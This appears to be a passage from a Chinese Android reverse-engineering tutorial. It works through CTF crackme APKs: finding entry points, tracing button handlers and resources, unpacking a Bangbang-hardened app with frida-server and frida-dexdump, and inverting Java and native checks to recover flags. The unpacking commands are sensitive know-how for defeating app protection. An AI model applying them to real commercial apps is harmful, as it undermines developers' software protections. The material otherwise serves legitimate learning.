指定这是应用的主入口 --\x3e < category android:name = \\"android.intent.category.LAUNCHER\\" /> <!-- 表明该 Activity 是启动器中的入口 --\x3e </ intent-filter > </ activity > </ application > </ manifest > |
在 Android 应用中,AndroidManifest.xml
文件是至关重要的,它定义了应用的所有组件以及组件之间的关系,包括应用的入口点。打开反编译后的 APK 中的 AndroidManifest.xml
文件,查找 <activity>
标签,它们通常定义了应用的各个 Activity(包括启动 Activity)。
入口点通常由以下两个标记表示:
\\n<action android:name=\\"android.intent.action.MAIN\\" />
:标记这是应用的主入口。<category android:name=\\"android.intent.category.LAUNCHER\\" />
:表示该 Activity 会出现在应用启动器中(即桌面)。所以最终得出该app的程序入口点代码是在android:name=\\"com.example.flag.MainActivity\\"
处!
2.成功寻找到activity的代码入口处,开始分析activity的生命执行流程:
根据android:name=\\"com.example.flag.MainActivity\\"
字段成功找到Activity的功能实现代码位置,一个Activity的生命周期是:onCreate()
->onStart()
->onResume()
->onPause()
->onStop()
->onDestroy()
,所以可以先锁定omCreate函数,锁定app加载的主要逻辑!
3.开始分析按钮的逻辑代码,成功解析出需要输入的内容:
在主要逻辑中可以发现界面中的一个按钮绑定了一个onclick按钮点击事件:
该函数用于处理用户点击事件,验证输入框中的文本是否符合特定规则,如果符合规则,则对一个预定义的字符串进行一系列字符运算和逆序处理,最终显示一个特定格式的“flag”;否则,显示错误提示“输入注册码错误”。
也就是说我们只需要输入一个正确的字符串就可以成功拿到flag!
将代码提取出来分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | button.setOnClickListener( new View.OnClickListener() { // from class: com.example.flag.MainActivity.1 @Override // android.view.View.OnClickListener public void onClick(View v) { int flag = 1 ; String xx = editview.getText().toString(); if (xx.length() != 32 || xx.charAt( 31 ) != \'a\' || xx.charAt( 1 ) != \'b\' || (xx.charAt( 0 ) + xx.charAt( 2 )) - 48 != 56 ) { flag = 0 ; } if (flag == 1 ) { char [] x = \\"dd2940c04462b4dd7c450528835cca15\\" .toCharArray(); x[ 2 ] = ( char ) ((x[ 2 ] + x[ 3 ]) - 50 ); x[ 4 ] = ( char ) ((x[ 2 ] + x[ 5 ]) - 48 ); x[ 30 ] = ( char ) ((x[ 31 ] + x[ 9 ]) - 48 ); x[ 14 ] = ( char ) ((x[ 27 ] + x[ 28 ]) - 97 ); for ( int i = 0 ; i < 16 ; i++) { char a = x[ 31 - i]; x[ 31 - i] = x[i]; x[i] = a; } String bbb = String.valueOf(x); textview.setText( \\"flag{\\" + bbb + \\"}\\" ); return ; } textview.setText( \\"输入注册码错误\\" ); } }); } |
这里的逻辑代码就很清晰了:
\\n1 2 3 4 5 | int flag = 1 ; String xx = editview.getText().toString(); if (xx.length() != 32 || xx.charAt( 31 ) != \'a\' || xx.charAt( 1 ) != \'b\' || (xx.charAt( 0 ) + xx.charAt( 2 )) - 48 != 56 ) { flag = 0 ; } |
\'a\'
。\'b\'
。xx.charAt(0)
为 \'x\'
,xx.charAt(2)
为 \'y\'
,其 ASCII 值分别为 120 和 121。所以 (120 + 121) - 48 = 193
,这个结果必须 不等于 56。1 2 | (xx.charAt(0) + xx.charAt(2)) == 104 ! G |
!bGaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\\n满足条件的字符串:
\\n1 | !bGaaaaaaaaaaaaaaaaaaaaaaaaaaaaa |
想要详细的解析可以前往其他WP!
\\n\\n4.理清楚解题脚本后,使用python代码实现flag输出:
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | # ✅ 将字符串转换为字符数组 string = \\"dd2940c04462b4dd7c450528835cca15\\" arr_c = list (string) print (arr_c) # ️ [\'j\', \'i\', \'y\', \'i\', \'k\'] arr_c[ 2 ] = chr ( ord (arr_c[ 2 ]) + ord (arr_c[ 3 ]) - 50 ) arr_c[ 4 ] = chr ( ord (arr_c[ 2 ]) + ord (arr_c[ 5 ]) - 0x30 ) arr_c[ 30 ] = chr ( ord (arr_c[ 0x1F ]) + ord (arr_c[ 9 ]) - 0x30 ) arr_c[ 14 ] = chr ( ord (arr_c[ 27 ]) + ord (arr_c[ 28 ]) - 97 ) for i in range ( 16 ): a = arr_c[ 0x1F - i]; arr_c[ 0x1F - i] = arr_c[i]; arr_c[i] = a; for i in arr_c: print (i,end = \\"\\") |
成功得到flag!
每个 Android 应用的启动通常由一个 Activity
或者 Service
作为入口,通常位于 AndroidManifest.xml
中。我们可以通过以下步骤来快速找到入口点:
AndroidManifest.xml
:这是每个 Android 应用的配置文件,包含应用的所有组件声明。入口 Activity
通常会在 intent-filter
中声明 MAIN
action 和 LAUNCHER
category。例如:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | <? xml version = \\"1.0\\" encoding = \\"utf-8\\" ?> < manifest xmlns:android = \\"c95K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3j5i4m8C8i4K6u0r3M7X3g2K6i4K6u0r3j5h3&6V1M7X3!0A6k6l9`.`.\\" android:versionCode = \\"1\\" <!-- 应用版本代码,用于区分不同版本的更新 --\x3e android:versionName=\\"1.0\\" <!-- 应用版本名称,通常为可见版本号 --\x3e package=\\"com.example.flag\\"> <!-- 应用包名,唯一标识应用 --\x3e ... < application ... <!-- 定义应用的主 Activity --\x3e < activity android:label = \\"@string/app_name\\" <!-- 设置 Activity 的名称 --\x3e android:name=\\"com.example.flag.MainActivity\\"> <!-- 定义该 Activity 的完整类名 --\x3e <!-- 配置启动该 Activity 的 Intent Filter --\x3e < intent-filter > < action android:name = \\"android.intent.action.MAIN\\" /> <!-- 指定这是应用的主入口 --\x3e < category android:name = \\"android.intent.category.LAUNCHER\\" /> <!-- 表明该 Activity 是启动器中的入口 --\x3e </ intent-filter > </ activity > </ application > </ manifest > |
该 Activity
是应用的入口点。
classes.dex
文件:通过工具(如 JADX 或者 JEB)反编译 DEX
文件,我们可以进一步理解应用的控制流和逻辑。通过分析反编译后的代码,可以找到主 \\"com.example.flag.MainActivity\\"
的 onCreate()
方法,这是启动应用时的第一步。在 Android 安全分析中,许多应用都使用加固技术来防止反编译和分析。梆梆是一种常见的加固,主要通过修改 APK 的结构,注入防护代码来提高应用的安全性。
\\n\\n\\n目标: 理解如何识别并绕过应用程序加壳保护。
\\n
加固与脱壳学习: 安卓逆向-脱壳学习记录 - Is Yang\'s Blog
实战案例:网鼎杯_2020_青龙组_bang
更详细的WP:
首先梳理一下加壳app的逆向流程:
1.将apk拖入JADX后寻找到AndroidManifest.xml文件:
虽然咋i这个xml文件中寻找到了Activity的MainActivity的方法,但是并无此com.example.how_debug.MainActivity的代码实现,首先判定该app进行了加壳操作!
还可以通过观察APK文件是否在AndroidManifest.xml配置Applicaiton信息来判定,该app实现了一个自定义操作将Application
类进行了自定义修改成了com.SecShell.SecShell.ApplicationWrapper
来实现自己的加壳逻辑.
注释:AndroidManifest.xml
文件中,明显可以看到一个与壳相关的线索:在 <application>
标签中,android:name=\\"com.SecShell.SecShell.ApplicationWrapper\\"
指定了应用的 Application
类为 com.SecShell.SecShell.ApplicationWrapper
。这通常意味着应用使用了加壳技术,App通过自定义的 ApplicationWrapper
类来启动壳程序。
拓展:
\\n\\n\\n梆梆加固原理:
\\n
根据APK文件是否在AndroidManifest.xml配置Applicaiton信息,梆梆加固会做不同的处理:
通过上传Applicaiton不同配置的APK文件:\\n
\\n- 当APK配置有Applicaition信息时,梆梆加固重写Application类
\\n- 当APK未配置Application信息时,梆梆加固新建类,并在AndroidManifest.xml中配置自己Application类
\\n
详细介绍:梆梆加壳原理 - 徐小鱼 - 博客园
也可以简单来看看\\"com.SecShell.SecShell.ApplicationWrapper\\"
中的代码逻辑:
1 2 3 4 5 6 7 8 9 10 11 | static { d.a(); // 调用加壳相关的操作 System.loadLibrary( \\"SecShell\\" ); // 加载名为 \\"SecShell\\" 的本地库 if (Helper.PPATH != null ) { System.load(Helper.PPATH); // 加载 Helper.PPATH 指定路径的本地库 } if (Helper.J2CNAME.equals( \\"SECNEOJ2C\\" )) { return ; // 如果 J2CNAME 为 \\"SECNEOJ2C\\",则跳过加载其他库 } System.loadLibrary(Helper.J2CNAME); // 加载 Helper.J2CNAME 指定的本地库 } |
System.loadLibrary(\\"SecShell\\")
这行代码加载了一个名为 SecShell
的本地库,该库通常是加壳的核心部分。它可能会执行一些关键的安全操作,如检查当前环境是否为调试状态、是否检测到被反编译等。2.开始使用FRIDA-DEXDump工具进行简单的脱壳:
\\n\\n\\n脱壳原理讲解:深入 FRIDA-DEXDump 中的矛与盾 (qq.com)
\\n
思维导图:frida-dexdump脱壳工具简单使用的思维导图 - 『移动安全区』
原理:\\n
\\n- 在进程的内存中搜索dex文件头
\\n- 如果dex头被抹除,则需要开启深度搜索模式,搜索其他关键字段
\\n- 如果dex的文件file_size字段被抹去,就需要搜索dex的尾部字段来判断是否是dex和dex的大小
\\n
先在模拟器中运行该APP,使用安卓7.1成功安装app:
将frida传入,启动fridaserver服务后frida才可以正常工作:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | # 将`frida-server`文件推送到设备的`/data/local/tmp`目录 PS C:\\\\Users\\\\Administrator> adb push D:\\\\CTF_Study\\\\Reverse\\\\AndroidWorkSpace\\\\Frida_libc\\\\frida-server-16.1.11-android-x86_64 /data/local/tmp # 进入Android设备的shell环境 PS C:\\\\Users\\\\Administrator> adb shell # 切换到`/data/local/tmp`目录 aosp:/ # cd /data/local/tmp # 查看目录下的文件,确认`frida-server`是否存在 aosp:/data/local/tmp # ls # 赋予`frida-server`文件可执行权限 aosp:/data/local/tmp # chmod 777 ./frida-server-16.1.11-android-x86_64 # 启动Frida Server aosp:/data/local/tmp # ./frida-server-16.1.11-android-x86_64 |
成功脱壳,寻找到两个dex文件:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | # 使用frida-dexdump(frida-dexdump -U -f 包名 -o 保存地址) # frida-dexdump -U -p port -o 保存地址 //通过端口 # frida-dexdump -U -n n1book1 -o 保存地址 //通过名字 PS D:\\\\CTF_Study\\\\Reverse\\\\AndroidWorkSpace> frida-dexdump -U -n how_debug -o ./ ... Attaching... INFO:Agent:DexDumpAgent<Connection(pid=Session(pid=2525), connected:True), attached=True>: Attach. INFO:frida-dexdump:[+] Searching... INFO:frida-dexdump:[*] Successful found 2 dex, used 0 time. INFO:frida-dexdump:[+] Starting dump to \'./\'... INFO:frida-dexdump:[+] DexMd5=5cc5b1ecee503082181d8ddae2f9c115, SavePath=./classes.dex, DexSize=0x1d60b8 INFO:frida-dexdump:[+] DexMd5=28514d4f7ccf16c6bb7ba28602b5d72f, SavePath=./classes02.dex, DexSize=0x446c INFO:frida-dexdump:[*] All done... |
3.开始分析脱壳出来后的DEX文件,成功寻找到activity的代码入口处:
脱壳出来的两个dex文件中偏大的就是我们需要分析的dex了:
直接拖入JADX开始分析工作,脱壳后成功找到了逻辑主要代码,之后就可以继续逆向分析了:
4.开始分析按钮的逻辑代码,成功解析出flag的内容:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | class MainActivity$ 1 implements View$OnClickListener // class@000763 from classes.dex { final MainActivity this $ 0 ; final EditText val$et1; final EditText val$et2; void MainActivity$ 1 (MainActivity p0,EditText p1,EditText p2){ this . this $ 0 = p0; this .val$et1 = p1; this .val$et2 = p2; super (); } public void onClick(View p0){ String str = this .val$et1.getText().toString(); String str1 = this .val$et2.getText().toString(); if (str.equals(str1)) { MainActivity.showmsg( \\"user is equal passwd\\" ); } else if ((str.equals( \\"admin\\" ) & str1.equals( \\"pass71487\\" ))){ MainActivity.showmsg( \\"success\\" ); MainActivity.showmsg( \\"flag is flag{borring_things}\\" ); } else { MainActivity.showmsg( \\"wrong\\" ); } } } |
所以得出flag就是flag{borring_things}.
\\n\\n\\n目标: 掌握如何定位和分析 APK 中的资源文件
\\n\\n
加固与脱壳学习: 安卓逆向-脱壳学习记录 - Is Yang\'s Blog
实战案例:攻防世界-基础Android
更详细的WP:
首先按照上文提到的寻找入口点的方法锁定Activity代码实现的位置的onCreate函数:
可以锁定到这个函数:
\\n1 | setContentView(0x7f04001a); // 加载activity的页面内容,资源文件的id是0x7f04001a |
setContentView()
是 Android 中的一个方法,用于设置当前 Activity 的界面视图(UI)。这个方法通常在 Activity
的 onCreate()
方法中调用,用来加载布局文件,并将其显示在当前界面上。
0x7f04001a
是一个整数值,代表一个资源的 ID。这个资源 ID 对应的是一个 XML 布局文件(通常位于 res/layout/
目录下),在编译过程中由 Android 构建工具自动生成。
所以我们可以手动寻找到布局文件通过jadx的搜索功能寻找到目标资源的名称:
1 2 | com.example.test.ctf02.R.layout: public static final int acticity_main_1 = 0x7f04001a ; |
成功获得资源的id和名称,接下来就是在布局文件中寻找了!
成功在res目录下的layout目录下找到了activity\'的页面布局文件:
对比一下xml文件和运行后的app界面:
每个 Activity
在启动时通常会加载一个或多个布局文件。要找到与 Activity
关联的 XML 布局文件,可以按照以下步骤进行:
setContentView()
调用:这是在 Activity
中加载布局的标准方法。通过反编译的代码中查找 setContentView()
,通常会传递一个布局文件的资源 ID。1 | setContentView(R.layout.activity_main); |
通过这个 ID(如 R.layout.activity_main
),你可以定位到 res/layout
目录下的 XML 布局文件。
res/layout
目录下。你可以查看这个目录,找到与 Activity
相关联的 XML 文件,并分析其 UI 结构。在分析 Android 应用时,了解按钮(Button)是如何与函数进行绑定的非常重要。按钮的绑定方式通常有两种:动态绑定和静态绑定。
\\n动态绑定函数是指通过代码在运行时绑定事件处理程序(如点击事件)到 UI 元素(如按钮)上。通常,按钮的动态绑定是通过 setOnClickListener()
方法来实现的,这个方法为按钮设置了点击事件监听器。
\\n\\n目标: 掌握APP是如何动态的为按钮绑定函数的
\\n\\n
实战案例:攻防世界-基础Android
更详细的WP:
以攻防世界-基础Android这道题目为例:
首先按照上文提到的寻找入口点的方法锁定Activity代码实现的位置的onCreate函数:
首先,在 onCreate()
方法中,我们可以找到动态绑定的实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | public class MainActivity extends AppCompatActivity { private Button login; private EditText passWord; protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView( 0x7f04001a ); // 加载activity的页面内容,资源文件的id是0x7f04001a // 动态绑定 EditText 和 Button this .passWord = (EditText) findViewById( 0x7f0b0055 ); // 获取 EditText 组件 this .login = (Button) findViewById( 0x7f0b0056 ); // 获取 Button 组件 // 给按钮设置点击事件监听器 this .login.setOnClickListener( new View.OnClickListener() { @Override // android.view.View.OnClickListener public void onClick(View v) { String str = MainActivity. this .passWord.getText().toString(); // 获取密码输入框的内容 Check check = new Check(); // 调用 Check 类中的函数 // 处理逻辑... } }); } } |
findViewById()
方法用于查找页面中的 UI 组件,这里查找的是 Button
和 EditText
组件。setOnClickListener()
方法是动态绑定的核心,表示为按钮设置了点击事件监听器。当用户点击按钮时,onClick()
方法会被调用。onClick()
方法内部,开发者可以实现点击事件的逻辑,例如获取输入框内容、进行检查等。\\n\\n目标: 掌握APP是如何为静态的为按钮绑定函数的
\\n\\n
实战案例:BUUCTF在线-FlareOn6_FlareBear
更详细的WP:
静态绑定函数是通过 XML 文件静态地将按钮与事件处理函数关联,在 Android 中通常通过 android:onClick
属性来实现。
以BUUCTF在线-FlareOn6_FlareBear这道题目为例:
首先按照上文提到的如何寻找一个Activity页面的xml布局文件的位置的方法找到页面的xml文件:
可以在这个xml文件中发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | < Button android:textSize = \\"24sp\\" android:id = \\"@+id/button2\\" android:layout_width = \\"wrap_content\\" android:layout_height = \\"80dp\\" android:text = \\"Help\\" android:onClick = \\"showHelp\\" //该按钮绑定了一个showHelp函数 android:fontFamily = \\"casual\\" /> < Button android:textSize = \\"24sp\\" android:id = \\"@+id/buttonCredits\\" android:layout_width = \\"wrap_content\\" android:layout_height = \\"80dp\\" android:layout_marginLeft = \\"20dp\\" android:text = \\"@string/text_credits\\" android:onClick = \\"showCredits\\" //该按钮绑定了一个showCredits函数 android:fontFamily = \\"casual\\" /> |
根据函数名称可以在代码中寻找到函数的实现:
android:onClick=\\"onLoginClick\\"
表示按钮的点击事件将绑定到 onLoginClick()
方法。Activity
中,onLoginClick()
方法的参数必须是 View
类型,它会自动接收点击的视图(在这里是 Button
)。静态绑定 是通过 XML 文件中的 android:onClick
属性,将按钮与方法绑定,在应用启动时,系统会自动为按钮设置监听事件并调用绑定的函数。
1.按钮动态绑定函数
动态绑定通常通过代码中的 setOnClickListener()
方法进行。以下是一个例子:
1 2 3 4 5 6 7 | Button btn = findViewById(R.id.my_button); btn.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { // 触发的逻辑 } }); |
在反编译的代码中,找到 setOnClickListener()
的实现,可以追踪到事件响应的函数。
2.按钮静态绑定函数
静态绑定通常通过在 XML 布局文件中直接指定一个函数来完成。例如:
1 2 3 4 | < Button android:id = \\"@+id/my_button\\" android:text = \\"Click me\\" android:onClick = \\"buttonClicked\\" /> |
在这个例子中,android:onClick
指定了 Activity
中的 buttonClicked(View view)
函数。反编译后,可以找到该函数并分析其逻辑。
\\n\\n目标: 如何寻找一个资源文件在apk中的位置
\\n\\n
实战案例:攻防世界-基础Android
更详细的WP:
以攻防世界-基础Android这道题目为例:
首先定位带本题的程序中的:com.example.test.ctf02.MainActivity2代码里的init函数.
寻找到代码:
1 2 3 4 5 6 | public void init() { this .imageView = (ImageView) findViewById( 0x7f0b0029 ); // 获取安卓中显示图片的组件 this .imageView.setImageResource( 0x7f020053 ); // 设置资源ID为图片资源 this .editText = (EditText) findViewById( 0x7f0b0057 ); // 获取编辑框组件 this .button = (Button) findViewById( 0x7f0b0056 ); // 获取按钮组件 } |
在这段代码中,0x7f020053
是一个资源ID,它对应的是 setImageResource()
方法中的资源项。为了了解这个资源对应的是哪个实际文件,我们需要查找该资源ID在 APK 中的定义位置。
我们使用反编译工具(如 JD-GUI
或 jdax
)来查看 APK 中的源代码和资源文件映射关系。我们可以直接搜索资源ID 0x7f020053
在反编译后的代码中的定义位置。
最后得到的
1 2 | com.example.test.ctf02.R.drawable: public static final int timg = 0x7f020053; |
根据搜索结果,我们得知 0x7f020053
对应的是 timg
,这是一个在 R.drawable
中定义的资源。接下来,我们可以查看 res/drawable/
文件夹中的资源文件,它通常是一个图片文件,如 timg.png
或 timg.jpg
。
通过反编译 APK 或使用相应的工具(如 jdax
, JD-GUI
, apktool
等),我们可以从资源ID(如 0x7f020053
)入手,查找它在源代码中对应的资源名,并通过资源ID映射到 APK 中实际的资源文件,通常是在 res/drawable/
目录下的图片文件。
要查找资源文件(如图片、字符串、布局等)在 APK 中的位置,可以按照以下步骤进行:
\\nR.drawable.xxx
、R.string.xxx
等),然后在 res
目录下找到对应的文件。res
目录:所有资源文件都会存储在 APK 文件的 res
目录下。res/drawable/
存放图片资源,res/layout/
存放布局文件,res/values/
存放字符串、颜色等属性资源。Java 层的逆向工程通常涉及到分析反编译后的字节码。反编译工具如 JADX、JEB 或者 Procyon 可以将 .dex
文件反编译成可读的 Java 代码。通过这些代码,我们可以深入分析程序的逻辑,包括数据加密、网络通信、权限管理等方面的实现。
.dex
文件反编译成 Java 代码。\\n\\n目标: 了解如何进行Java层逆向
\\n\\n
实战案例:BUU-findit
更详细的WP:
1.将apk拖入JADX后寻找到AndroidManifest.xml文件寻找入口点:
2.锁定APP的逻辑著代码之后就可以开始JAVA层逻辑代码逆向了
找到关键代码
1 2 3 4 5 | new char[]{\'T\', \'h\', \'i\', \'s\', \'I\', \'s\', \'T\', \'h\', \'e\', \'F\', \'l\', \'a\', \'g\', \'H\', \'o\', \'m\', \'e\'}[i] new char[]{\'p\', \'v\', \'k\', \'q\', \'{\', \'m\', \'1\', \'6\', \'4\', \'6\', \'7\', \'5\', \'2\', \'6\', \'2\', \'0\', \'3\', \'3\', \'l\', \'4\', \'m\', \'4\', \'9\', \'l\', \'n\', \'p\', \'7\', \'p\', \'9\', \'m\', \'n\', \'k\', \'2\', \'8\', \'k\', \'7\', \'5\', \'}\'}[v1] 找到两个关键字符串! ThisIsTheFlagHome和pvkq{m164675262033l4m49lnp7p9mnk28k75} |
分析关键代码:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | // 当用户点击按钮时执行的点击事件处理方法 public void onClick(View v) { // 定义两个字符数组,分别用于存放转换后的字符 char [] x = new char [ 17 ]; // 用于存放处理后的输入字符 char [] y = new char [ 38 ]; // 用于存放处理后的pvkq字符 // 遍历输入字符数组thisf进行字符转换 for ( int i = 0 ; i < 17 ; ++i) { // 如果字符在\'A\'-\'Z\' 或 \'a\'-\'z\'之间,进行转换 if (thisf[i] < 73 && thisf[i] >= 65 || thisf[i] < 105 && thisf[i] >= 97 ) { // 将字符的ASCII值加18,转换后存入x数组 x[i] = ( char )(thisf[i] + 18 ); } // 如果字符在\'A\'-\'Z\' 或 \'a\'-\'z\'之间,进行另一种转换 else if (thisf[i] >= 65 && thisf[i] <= 90 || thisf[i] >= 97 && thisf[i] <= 0x7A ) { // 将字符的ASCII值减8,转换后存入x数组 x[i] = ( char )(thisf[i] - 8 ); } else { // 如果不符合上述条件,直接将字符赋值给x数组 x[i] = thisf[i]; } } // 如果转换后的x数组和输入的文本相同,则执行后续操作 if (String.valueOf(x).equals(edit.getText().toString())) { // 遍历pvkq数组进行字符转换 for ( int v1 = 0 ; v1 < 38 ; ++v1) { // 如果字符是字母,进行字符加密处理 if (pvkq[v1] >= \'A\' && pvkq[v1] <= \'Z\' || pvkq[v1] >= \'a\' && pvkq[v1] <= \'z\' ) { // 将字符的ASCII值加16 y[v1] = ( char )(pvkq[v1] + 16 ); // 如果加16后字符超过了\'Z\'或者小于\'a\',进行循环处理 if (y[v1] > \'Z\' && y[v1] < \'a\' || y[v1] >= \'z\' ) { y[v1] = ( char )(y[v1] - 26 ); // 将字符的ASCII值减去26 } } else { // 非字母字符直接赋值给y数组 y[v1] = pvkq[v1]; } } // 将转换后的y数组字符设置为文本内容 text.setText(String.valueOf(y)); return ; // 结束方法 } // 如果转换后的x数组与输入文本不相同,显示错误提示 text.setText( \\"答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~\\" ); } |
分析后可以发现这其实是一个开始加密的密码:
\\n1 | pvkq{m164675262033l4m49lnp7p9mnk28k75} |
按照题目要求包上flag{}上交,发现不对,事情果真没有这么简单
仔细观察pvkq,发现f——>p为10,l——>v为10,a——>k为10,g——>q为10,
所有这我们还需要将得到的字符串进行一次凯撒加密
凯撒解密:CTF在线工具-在线凯撒密码加密|在线凯撒密码解密|凯撒密码算法|Caesar Cipher (hiencode.com)
Native 层逆向工程涉及到分析 Android 应用中使用的 C 或 C++ 代码。Native 代码通常通过 JNI(Java Native Interface)与 Java 层交互。要逆向 Native 代码,首先需要反编译 APK 中的 .so
库文件。
.so
文件:通过解压 APK,可以获取到 lib
目录下的 .so
文件,这些文件通常存储了应用的本地库。.so
文件:使用工具如 IDA Pro、Ghidra 或 Radare2 来反编译这些二进制文件。通过反汇编,我们可以获得 Native 代码的控制流和逻辑。Java_
开头,例如 Java_com_example_app_NativeMethod
。\\n\\n目标: 了解如何进行Java层逆向
\\n\\n
实战案例:攻防世界-Mobile-easy-so
更详细的WP:
1.将apk拖入JADX后寻找到AndroidManifest.xml文件寻找入口点:
得到代码入口点位置:android:name=\\"com.testjava.jack.pingan2.MainActivity\\"
2.锁定java层代码中的代码逻辑部分:
1 2 3 4 5 6 7 8 9 | public void onClick(View v) { EditText et1 = (EditText) MainActivity. this .findViewById(0x7f070031); String strIn = et1.getText().toString(); if (cyberpeace.CheckString(strIn) == 0x1) { Toast.makeText(MainActivity. this , \\"验证通过!\\" , 0x1).show(); } else { Toast.makeText(MainActivity. this , \\"验证失败!\\" , 0x1).show(); } } |
代码逻辑校验部分!核心是CheckString函数就可以进去:
代码部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | package com.testjava.jack.pingan2; // `cyberpeace` 类是用来与本地代码(C/C++)交互的。 // 这个类定义了一个本地方法 `CheckString`,它将在本地库中实现, // 该方法用于检查传入的字符串,可能用于某种字符串校验逻辑。 public class cyberpeace { // 本地方法声明,Java 中的 native 方法是没有实现的, // 其实现会在 C 或 C++ 等本地代码中定义。 // `CheckString` 函数接收一个字符串作为参数,并返回一个整数作为校验结果。 // 这个方法可能会返回一个标志,表示字符串是否符合某种规则或要求。 public static native int CheckString(String str); // 静态代码块,程序加载时会执行这个块中的代码。 static { // 在此加载本地库 `cyberpeace`,该库包含了本地方法的实现。 // `System.loadLibrary(\\"cyberpeace\\");` 将加载名为 \\"cyberpeace\\" 的本地库, // 这个库文件必须存在于系统的库路径中(例如,系统的 `.so` 文件、`.dll` 文件或 `.dylib` 文件)。 System.loadLibrary( \\"cyberpeace\\" ); } } |
cyberpeace
类提供了与本地库交互的接口。CheckString
方法通过本地代码实现字符串的校验。Java 端声明了方法,而具体的校验逻辑则是在本地代码中实现的。通过 System.loadLibrary
加载本地库,使得 Java 程序能够调用本地实现的逻辑。
可以通过JADX的导出功能将so文件导出,或者直接在压缩包文件夹中搜索:
3.跟进Native层的汇编代码实现,在IDA中查看反汇编:
在IDA的Export窗口可以找到Native层的函数定义:
周到后还需要解决函数结构体的定义问题:
IDA导入.h文件:IDA导入jni.h头文件_ida jni.h-CSDN博客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | _BOOL8 __fastcall Java_com_testjava_jack_pingan2_cyberpeace_CheckString(_JNIEnv *a1, jobject a2, jstring a3) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\\"+\\" TO EXPAND] string1 = a1->functions->GetStringUTFChars(a1, a3, 0LL); len = strlen (string1); v5 = len; size = ((len << 32) + 0x100000000LL) >> 32; // 将 v5 左移 32 位后再右移 32 位,相当于只保留低 32 位(这里的操作是为了计算内存分配大小) ptr_chunk = malloc (size); chunk1 = ptr_chunk; isflag = size <= v5; true_size = size - v5; if ( isflag ) true_size = 0LL; memset (&ptr_chunk[v5], 0, true_size); memcpy (chunk1, string1, v5); if ( strlen (chunk1) >= 2 ) { idx = 0LL; // 第一部分代码交换了每 16 个字符之间的位置,直到字符串长度的一半 do { tmp = chunk1[idx]; chunk1[idx] = chunk1[idx + 16]; chunk1[idx++ + 16] = tmp; } while ( strlen (chunk1) >> 1 > idx ); // 当 v11 小于字符串长度的一半时,继续循环 } v13 = *chunk1; if ( *chunk1 ) { *chunk1 = chunk1[1]; chunk1[1] = v13; if ( strlen (chunk1) >= 3 ) // 第二部分首先交换了前两个字符,然后每两个字符进行一次交换,直到字符串的末尾。 { idx2 = 2LL; do { v15 = chunk1[idx2]; chunk1[idx2] = chunk1[idx2 + 1]; chunk1[idx2 + 1] = v15; idx2 += 2LL; } while ( strlen (chunk1) > idx2 ); } } return strcmp (chunk1, \\"f72c5a36569418a20907b55be5bf95ad\\" ) == 0; // 要求满足条件 } |
4.锁定so文件中要分析的函数逆运算得出flag:
步骤 1:两两交换
1 2 3 4 5 6 7 8 9 10 11 12 13 | *chunk1 = chunk1[1]; chunk1[1] = v13; if ( strlen (chunk1) >= 3 ) // 第二部分首先交换了前两个字符,然后每两个字符进行一次交换,直到字符串的末尾。 { idx2 = 2LL; do { v15 = chunk1[idx2]; chunk1[idx2] = chunk1[idx2 + 1]; chunk1[idx2 + 1] = v15; idx2 += 2LL; } while ( strlen (chunk1) > idx2 ); |
给定字符串 f72c5a36569418a20907b55be5bf95ad
,我们需要将它按照两两字符交换的方式进行处理:
原字符串:f72c5a36569418a20907b55be5bf95ad
交换后的字符串:7fc2a5636549812a90705bb55efb59da
这一步骤通过每两个字符进行交换,得到中间结果。
步骤 2:从中间砍断并拼接
\\n1 2 3 4 5 6 7 8 9 10 11 | if ( strlen (chunk1) >= 2 ) { idx = 0LL; // 第一部分代码交换了每 16 个字符之间的位置,直到字符串长度的一半 do { tmp = chunk1[idx]; chunk1[idx] = chunk1[idx + 16]; chunk1[idx++ + 16] = tmp; } while ( strlen (chunk1) >> 1 > idx ); // 当 v11 小于字符串长度的一半时,继续循环 } |
接下来,我们将字符串 7fc2a5636549812a90705bb55efb59da
从中间砍断,并将头部拼接到尾部。
字符串长度是 32(即 16 对字符),中间点是 16,所以我们将前半部分(7fc2a5636549812a
)和后半部分(90705bb55efb59da
)交换位置。
交换后的字符串:90705bb55efb59da7fc2a5636549812a
**步骤 3:格式化为 **flag{XXXX}
最后一步,我们将转换后的字符串按 flag{XXXX}
的格式显示出来。
得到的字符串:90705bb55efb59da7fc2a5636549812a
所以最终需要提交的平台 flag 值就是:flag{90705bb55efb59da7fc2a5636549812a}
最后得出结果:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | s = list ( \'f72c5a36569418a20907b55be5bf95ad\' ) for i in range ( 0 , len (s), 2 ): s1 = s[i] s[i] = s[i + 1 ] s[i + 1 ] = s1 for i in range ( len (s) / / 2 ): s2 = s[i] s[i] = s[i + 16 ] s[i + 16 ] = s2 print ( \'flag{\' + \' \'.join(i for i in s) + \' }\') |
